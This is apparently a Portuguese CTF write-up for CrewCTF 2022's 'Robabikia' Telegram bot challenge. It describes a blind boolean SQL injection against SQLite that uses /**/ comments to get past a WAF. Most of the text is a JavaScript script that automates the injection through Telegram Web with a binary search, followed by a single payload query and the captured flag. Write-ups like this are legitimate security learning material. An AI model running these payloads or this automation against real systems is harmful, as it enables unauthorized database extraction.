CrewCTF 2022 — Robabikia

Esta é uma resolução do desafio Robabikia.

A descrição do desafio disponibilizava um bot no Telegram: @crewctf_Robabikia_bot

Abrindo o chat do bot, tem-se a seguinte mensagem com os comandos do bot:

...
Mensagem help do bot


O comando /items listava todos os itens:

...
Lista dos itens


O comando /price apenas retornava os preços dos itens. E o /desc dava um breve descrição do item:

...
Descrição de um item


Enquanto o comando /value estava desativado:

...
Comando /value desativado

Testando o comando /desc descobri um possível sql injection:

...
Possível sql injection

Para extrair as informações corretas era necessário estar atento as mensagens de resposta do bot: a query enviada era true quando o bot retornava "Old TV to your watch your favorite series" (para o item 3) e false quando o bot retornava "Item not found".

Após algumas tentativas descobri que era um SQLite e que tinha um WAF por trás da aplicação. Então um membro do meu time, o valent1ne, descobriu que usando /**/ dava o bypass necessário.

Logo, tentamos extrair o número de tabelas e o tamanho do nome delas:

...
Número de tabelas e tamanho do nome da tabela


Extraindo o nome da tabela:

...
Nome da tabela


O nome da tabela é items :)

Vasculhando as colunas da tabela, verifiquei que existia uma coluna chamada value, que por sua vez é o mesmo nome do comando desabilitado. E foi aí que eu estranhei. Seguindo a extração de dados dessa coluna, encontrei uma row com as iniciais iguais ao do formato da flag "crew{":

...
Extraindo as iniciais da flag


E fui descobrir o tamanho do conteúdo dessa linha:

...
Procurando o tamanho da flag


A flag tinha 47 caracteres para a minha tristeza.

Fazer a extração da flag manualmente era inviável, então eu optei por escrever algo para automatizar o processo. Lembrei de um script em Javascript que o Foucan tinha enviado, que spammava o Script do filme Shrek no Whatsapp e usei ele como base para escrever o código de pegar a flag.

Ao fazer o código, tive que trocar para a versão do Telegram Web para a versão K, porque por algum motivo ela travava menos.

Fiz o código, mas não era rápido o suficiente, além de extrapolar o rate limit do Telegram em alguns momentos. Por fim, resolvi implementar uma espécie de pesquisa binária lendo as mensagens de resposta do bot.

Para ler tais mensagens pensei em usar o timestamp que vinha nas tags html, porém o valent1ne me deu uma forma melhor:

document.getElementsByClassName("message")

Então, o código ficou assim:

const keyboardEvent = new KeyboardEvent('keydown', {
    code: 'Enter',
    key: 'Enter',
    charCode: 13,
    keyCode: 13,
    view: window,
    bubbles: true
});

async function sendPayload(){
	main = document.querySelector(".chat-input-container");
	textarea = document.querySelector(`div[contenteditable="true"]`);

	flag = "crew{";
	flagArray = [];
	for(let j = 6; j <= 47; j++){
		i = 21;
		end = 127;
		while(i <= end){
			divisao = Math.floor((end - i)/2);
			mid = i + divisao
			textarea.textContent = "/desc 3'/* */and/* */(SELECT/* */unicode(substr(value," + j + ",1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)=" + mid +" -- -";
			textarea.dispatchEvent(keyboardEvent);

			await new Promise(resolve => setTimeout(resolve, 1000));
			messagesNumber = document.getElementsByClassName("message").length;
			messageText = document.getElementsByClassName("message")[messagesNumber-1].innerText;

			if(messageText.includes("Old")){
				flagArray.push(mid);
				flag += String.fromCharCode(mid);
				break;
			} else {
				await new Promise(resolve => setTimeout(resolve, 1000));

				textarea.textContent = "/desc 3'/* */and/* */(SELECT/* */unicode(substr(value," + j + ",1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)<" + mid +" -- -";
				textarea.dispatchEvent(keyboardEvent);

				await new Promise(resolve => setTimeout(resolve, 1000));
				messagesNumber = document.getElementsByClassName("message").length;
				messageText = document.getElementsByClassName("message")[messagesNumber-1].innerText;

				if(messageText.includes("Old")){
					end = mid-1;
				} else {
					await new Promise(resolve => setTimeout(resolve, 1000));

					textarea.textContent = "/desc 3'/* */and/* */(SELECT/* */unicode(substr(value," + j + ",1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)>" + mid +" -- -";
					textarea.dispatchEvent(keyboardEvent);

					await new Promise(resolve => setTimeout(resolve, 1000));
					messagesNumber = document.getElementsByClassName("message").length;
					messageText = document.getElementsByClassName("message")[messagesNumber-1].innerText;

					if(messageText.includes("Old")){
						i = mid+1;
					}
				}
			}

			await new Promise(resolve => setTimeout(resolve, 5000));
		}
		console.log(flagArray);
		console.log(flag);
	}
}
      

Obs: o código pode ser um pouco otimizado removendo o envio da última query - Código "otimizado".

A função keyboardEvent é apenas para simular a utilização da tecla Enter.

Optei por usar a função unicode do SQLite, porque achei mais fácil trabalhar diretamente com números.

O script acima tem esse flow:

O script acha o meio (mid) dos valores iniciais (i) e finais (end), e verifica se o código unicode daquele caracter da flag é igual ao mid. Se for, adiciona o caracter na variável flag. Caso contrário, o script verifica se o código unicode é menor que o mid, se for, o final (end) se torna mid-1. Caso contrário, o início (i) se torna mid+1.

Obs: adicionei alguns setTimeout() para dar tempo de o bot responder e evitar tomar block por causa do rate limit.

Quando terminei o código faltava menos de 40 minutos para o fim do CTF e acabou que não consegui pontuar a tempo, mas consegui obter flag:

...
FLAG

Obs: durante a execução do programa, o browser travou e acabou não salvando o caracter da posição 32 da flag, mas utilizando essa query descobrimos que o caracter correto é 1:

/desc 3'/* */and/* */(SELECT/* */unicode(substr(value,32,1))/* */FROM/* */items/* */limit/* */5/* */offset/* */4)=49 -- -

Flag:

crew{U53_fa57_WAY-1kJ5QL_1nj3C710N_1N_t3l3_B0t}

Fontes:

PayloadsAllTheThings/SQLite Injection.md

Script para enviar o Roteiro do filme Shrek

Binary Search - GeeksforGeeks